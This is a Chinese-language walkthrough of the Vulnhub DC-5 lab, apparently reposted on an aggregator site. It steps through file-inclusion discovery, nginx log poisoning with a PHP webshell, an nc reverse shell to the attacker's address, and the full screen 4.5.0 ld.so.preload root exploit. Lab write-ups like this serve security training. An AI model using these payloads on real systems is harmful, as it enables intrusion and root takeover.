Vulnhub靶场DC-5练习

news2025/1/18 5:26:05

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 利用burpsuite爆破文件包含的参数
    • 2. 文件包含
    • 3. nginx日志挂马
    • 4. 反弹shell
    • 5.漏洞利用和提权
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-5.zip

介绍:
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. 😃

只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的切入点可能很难识别,但它就在那里。你需要寻找一些不寻常的东西(随着页面的刷新而改变的东西)。这有望提供一些关于漏洞可能涉及的内容的想法。
仅供记录,不涉及 phpmailer 漏洞。😃

0x01 主机信息收集



执行命令:ifconfig
kali本机的ip:192.168.22.36,网卡eth0


发现目标主机ip:netdiscover -i eth0 -r 192.168.22.0/24
目标主机ip:192.168.22.37

在这里插入图片描述


探测目标主机开放端口:nmap -sS -sV -A -n 192.168.22.37
开放了80端口,使用的是nginx1.6.2;111端口,rpcbind服务。

在这里插入图片描述


0x02 站点信息收集



前面对这个环境的介绍有一句:随着页面的刷新而改变的东西。所以在浏览站点的时候要格外注意下刷新页面后变化的地方。


看一下站点的目录结构:dirsearch -u 192.168.22.37
这几个目录都是可以直接在页面上点击就可以访问到的,只有footer.php不可以。

在这里插入图片描述


访问一下这个目录:192.168.22.37/footer.php
后面在跟网站交互的时候可以多注意一下展示这个信息的地方。

在这里插入图片描述


访问站点,再contact页面下有个留言板提交,提交一下试一试。
发现每提交一次,这里的时间就会变一下,2017,2018,2019,2020循环。

在这里插入图片描述


综合上面的信息,留言板提交后的URL,可以猜测一下,thank.php中包含了footer.php文件。

php中常见的可以导致文件包含漏洞的函数:include(), include_once(), require(), re-quire_once(), fopen(), readfile()等。

下一步的思路就是去找thank.php的文件包含的参数。



0x03 漏洞查找与利用



1. 利用burpsuite爆破文件包含的参数


访问提交留言的页面,抓包,发送到Intruder模块,利用参数字典对参数进行爆破。
访问后抓包:

在这里插入图片描述

发送到Intruder模块,利用参数字典进行爆破,只选择一个参数:

在这里插入图片描述

payload这里导入保存的参数fuzz的字典:

在这里插入图片描述

对结果按照length进行排序,可以得到一个参数file。
就可以构造thank.php?file=/etc/passwd来读取文件。

在这里插入图片描述


2. 文件包含


多次访问:192.168.22.37/thankyou.php?file=footer.php ,可以发现下面的时间是在变化的,从2017到2020循环。确认了file参数确实有文件包含。

访问:192.168.22.37/thankyou.php?file=/etc/passwd,可以看到文件内容。

在这里插入图片描述


3. nginx日志挂马



前面获取到用了nginx,利用文件包含查看nginx的配置文件:?file=/etc/nginx/nginx.conf

在这里插入图片描述

得到了nginx的日志路径为:
访问成功的日志文件:/var/log/nginx/access.log
访问失败的日志文件:/var/log/nginx/error.log

在这里插入图片描述

传入一句话木马:?file=<?php system($_GET['x']) ?>
并让这句话解析成功。
在这里插入图片描述

再进行包含nginx的错误日志,利用一句话:?file=/var/log/nginx/error.log&x=ls
可以看到ls命令执行成功。

在这里插入图片描述


4. 反弹shell


在kali上执行:nc -lvp 9876
修改数据包的路径:/thankyou.php?file=/var/log/nginx/error.log&x=nc -e /bin/sh 192.168.22.36 9876

在这里插入图片描述

可以看到监听成功。

在这里插入图片描述


5.漏洞利用和提权


执行命令,进入交互式shell:python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

找到具有suid权限的文件:find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

重新打开一个终端,利用searchsploit搜索screen4.5.0相关的漏洞:searchsploit screen 4.5.0

在这里插入图片描述

查看41154.sh看一下漏洞利用的方式:cat /usr/share/exploitdb/exploits/linux/local/41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

根据使用说明,创建两个文件/tmp/libhax.c和/tmp/rootshell.c,之后分别使用gcc进行编译,再删除创建的这两个文件,只留下编译生成的/tmp/libhax.so和/tmp/rootshell,然后再执行一系列命令。

直接在监听的shell中不好操作,所以思路是在kali中制作好三个文件,分别是编译生成的/tmp/libhax.so和/tmp/rootshell,还有将一系列的命令保存成一个shell脚本文件。然后将这三个文件传到目标机器上。

在kali的/tmp目录下,创建这两个文件。一定要在/tmp目录下,因为这个文件在目标主机上运行的时候就是在这个目录下。


执行命令:vim /tmp/libhax.c
输入文件内容:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

执行命令:vim /tmp/rootshell.c
输入文件内容:

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh",NULL);
}

执行命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
执行命令:gcc -o /tmp/rootshell /tmp/rootshell.c
会报一些警告类的错误,没有什么影响,可以忽略。

在这里插入图片描述

执行命令:rm -f /tmp/libhax.c
执行命令:rm -f /tmp/rootshell.c


将剩下的代码部分保存在dc5.sh的脚本文件中。
执行命令:vim /tmp/dc5.sh (这个文件也放在/tmp目录下,因为后面会利用python的SimpleHTTPServer服务向目标主机传文件,SimpleHTTPServer使用的时候需要先进入待分享的目录,这里就是/tmp,这三个要上传的文件都放在这里比较好操作一点。)
输入文件内容:

#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

vim文件的时候,在终端窗口中,按esc,再按shift + : ,窗口底部应该出现冒号,输入set ff=unix,回车。再按shift + : ,输入wq。(linux中sh类型的文件一般要设置为unix格式,否则可能会报错)

在这里插入图片描述

将三个文件传输到靶机:


kali本机先进入/tmp目录: cd /tmp
再开启SimpleHTTPServer服务,kali本地执行:python2 -m SimpleHTTPServer ,这里后面没跟端口号,就是使用的默认端口8000。

在这里插入图片描述

kali连接的shell中,分别执行:
cd /tmp
wget http://192.168.22.36:8000/libhax.so
wget http://192.168.22.36:8000/rootshell
wget http://192.168.22.36:8000/dc5.sh

在这里插入图片描述

给dc5.sh添加执行权限:chmod +x dc5.sh

在这里插入图片描述

执行脚本:./dc5.sh
报错:
在这里插入图片描述

/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found (required by /tmp/rootshell):报错原因是在kali这个高版本的linux中编译了文件,但是dc-5是低版本的。

最简便的解决方案就是下载一个2018年的kali,编译一下两个文件。

其他解决方案:在高版本的kali中编译/tmp/libhax.c和/tmp/rootshell.c时,指定GLIBC的版本。



执行完脚本之后,执行命令:whoami
就会有root权限了,进入/root目录即可发现flag。



0x04 总结



主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集:

  1. dirsearch查看网站目录结构。
  2. 利用burpsuite的Intruder模块,爆破文件包含的参数。

漏洞利用:

  1. 利用文件包含,进行nginx日志挂马。
  2. 反弹shell。
  3. screen4.5.0漏洞利用。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1894929.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

论文学习——基于类型检测的动态自适应多目标优化算法

论文题目&#xff1a;Dynamic adaptive multi-objective optimization algorithm based on type detection 基于类型检测的动态自适应多目标优化算法&#xff08;Xingjuan Cai a,b, Linjie Wu a,∗, Tianhao Zhao a, Di Wu c, Wensheng Zhang d, Jinjun Chen e&#xff09;Inf…

经典链表算法题:找到环的入口。清晰图示推导出来

Leetcode题目链接 原理 重画链表如下所示&#xff0c;线上有若干个节点。记蓝色慢指针为 slow&#xff0c;红色快指针为 fast。初始时 slow 和 fast 均在头节点处。 使 slow 和 fast 同时前进&#xff0c;fast 的速度是 slow 的两倍。当 slow 抵达环的入口处时&#xff0c;如…

doc文档下载

目录 下载 安装谷歌浏览器(chrome)Microsoft Edge浏览器 常见问题 下载 见邮件附件 安装 谷歌浏览器(chrome) 打开浏览器&#xff0c;地址栏输入&#xff1a;chrome://extensions/ 右上角打开开发者模式 点击如上图左上角的加载已解压的拓展程序&#xff0c;并选择刚刚解压…

【不锈钢酸退作业区退火炉用高温辐射计快速安装】

项目名称 不锈钢酸退作业区退火炉用高温辐射计快速安装 改造实施项目简介项目提出前状况:不锈钢生产过程中,各种型号的不锈钢带钢在退火工艺中对带钢温度的准确性要求很高,带钢温度的检测直接影响带钢的产品质量,不锈钢带钢温度测量依靠的是高温辐射计,其测量的准确性、稳…

YOLOv8入门 | 重要性能衡量指标、训练结果评价及分析及影响mAP的因素【发论文关注的指标】

秋招面试专栏推荐 &#xff1a;深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转 &#x1f4a1;&#x1f4a1;&#x1f4a1;本专栏所有程序均经过测试&#xff0c;可成功执行&#x1f4a1;&#x1f4a1;&#x1f4a1; 专栏目录 &#xff1a;《YOLOv8改进有效…

【Python画图-驯化seaborn】一文搞懂seaborn中的小提琴图实践、技巧、原理

【Python画图-驯化seaborn】一文搞懂seaborn中的小提琴图实践、技巧、原理 本次修炼方法请往下查看 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合&#xff0c;智慧小天地&#xff01; &#x1f387; 免费获取相关内容…

【信息学奥赛】CSP-J/S初赛06 算法基础及时间/空间复杂度等问题

本专栏👉CSP-J/S初赛内容主要讲解信息学奥赛的初赛内容,包含计算机基础、初赛常考的C++程序和算法以及数据结构,并收集了近年真题以作参考。 如果你想参加信息学奥赛,但之前没有太多C++基础,请点击👉专栏:C++语法入门,如果你C++语法基础已经炉火纯青,则可以进阶算法…

ScrollView组件No exact matches in call to initializer

在scrollview中使用text后报错&#xff0c;水平滚动使用的话&#xff0c;应该里面包含一个水平布局的组件&#xff0c;例如HStack组件&#xff0c;可以设置ScrollView滚动方向为 .horizontal或者 .vertical // 左右滑动ScrollView(.horizontal, showsIndicators: false) {HSt…

@amap/amap-jsapi-loader实现高德地图嵌入React项目中,并且做到点击地图任意一处,获得它的经纬度

1.第一步要加入项目package.json中或者直接yarn install它都可以 想必大家应该都会 "amap/amap-jsapi-loader": "0.0.7"2.加入项目中 关于接口获取key的接口 大家改成自己对应的项目请求方法 import React, { PureComponent } from react; import { Input…

MFC+MySQL应用:配置

MFCMySQL 1. MFC UI界面生成2. 数据库和表生成创建数据库创建表添加表数据 3. VS中配置MySQL环境 1. MFC UI界面生成 链接: MFC使用方法 可以根据用户自身需求生成单文档、对话框等不同样式的UI界面。 2. 数据库和表生成 可以在workbench或者MySQL Server中创建数据库和表。…

户用分布式光伏项目开发模式

随着全球对可再生能源的重视和技术的不断进步&#xff0c;分布式光伏发电作为一种清洁、高效、可再生的能源形式&#xff0c;正逐渐成为新能源发展的重要方向。户用分布式光伏项目&#xff0c;作为分布式光伏发电的重要组成部分&#xff0c;其开发模式对于推动光伏产业的普及与…

【前端知识】一篇速成 建议收藏

HTML基础概念 正式敲代码之前呢,我们先来看几个概念: 0 静态网页和动态网页 静态网页: 页面的内容和显示效果就基本上不会发生变化了--除非你修改页面代码。 动态网页: 页面代码虽然没有变&#xff0c;但是显示的内容却是可以随着时间、环境或者数据库操作的结果而发生改变的…

Another Redis Desktop Manager工具自定义解析数据

自定义解析数据,支持多种程序终端输出 /Users/admin/go/src/baobao_all/ws_server/baobao/main_test/encipher_tool_redis/redis_tool {VALUE}/bin/bash -c "/Users/admin/Downloads/redis_tool {VALUE}"写个go程序解析数据 package mainimport ("encoding/jso…

LLM大模型RAG技术

在人工智能领域&#xff0c;大模型RAG技术&#xff08;Retrieval-Augmented Generation&#xff09;已成为近年来研究的热点。它结合了检索和生成两大关键技术&#xff0c;为自然语言处理任务带来了革命性的进步。本文将带领大家深入了解大模型RAG技术的全流程&#xff0c;让你…

2024年过半,新能源车谁在掉链子?

2024年过半之际&#xff0c;各品牌上半年的销量数据也相继出炉&#xff0c;是时候考察今年以来的表现了。 理想和鸿蒙智行两大增程霸主占据头两名&#xff0c;仍处于焦灼状态&#xff1b;极氪和蔚来作为高端纯电品牌紧随其后&#xff0c;两者之间差距很小&#xff1b;零跑和哪…

CD4017 – 带解码输出的十进制计数器

CD4017 IC 是一个十进制计数器&#xff0c;它有 10 个输出&#xff0c;分别代表 0 到 9 的数字。计数器在&#xff08;14号引脚&#xff09;每个时钟脉冲上升时增加 1。计数器达到 9 后&#xff0c;它会在下一个时钟脉冲时从 0 重新开始。 引脚名称管脚 &#xff03;类型描述VD…

windows非白名单exe监控并杀死

需求&#xff1a;孩子在家用电脑上网课&#xff0c;总是悄悄打开游戏或视频软件 方案&#xff1a;指定白名单exe&#xff0c;打开非白名单的就自动被杀死&#xff0c;并记录日志供查看 不知道是否还有更好的结果方案&#xff1f; import psutil import time import logging#…

【MATLAB源码-第139期】基于matlab的OFDM信号识别与相关参数的估计,高阶累量/小波算法调制识别,循环谱估计,带宽估计,载波数目估计等等。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 在现代无线通信系统中&#xff0c;正交频分复用&#xff08;OFDM&#xff09;因其高效的频谱利用率、强大的抗多径衰落能力以及灵活的带宽分配等优势&#xff0c;成为了一种非常重要的调制技术。然而&#xff0c;随着无线通信…

Swift 定制 Core Data 迁移

文章目录 前言什么是 Core Data 迁移&#xff1f;示例更新模型创建一个新的模型版本创建映射模型编写自定义迁移策略总结 前言 随着应用程序和用户群的增长&#xff0c;你需要添加新功能&#xff0c;删除其他功能&#xff0c;并改变应用程序的工作方式。这是软件开发生命周期的…

大语言模型融合知识图谱的问答系统研究

文章目录 题目摘要方法实验消融实验 题目 大语言模型融合知识图谱的问答系统研究 论文地址&#xff1a;http://fcst.ceaj.org/CN/10.3778/j.issn.1673-9418.2308070 项目地址&#xff1a;https://github.com/zhangheyi-1/llmkgqas-tcm/ 摘要 问答系统&#xff08;Question Ans…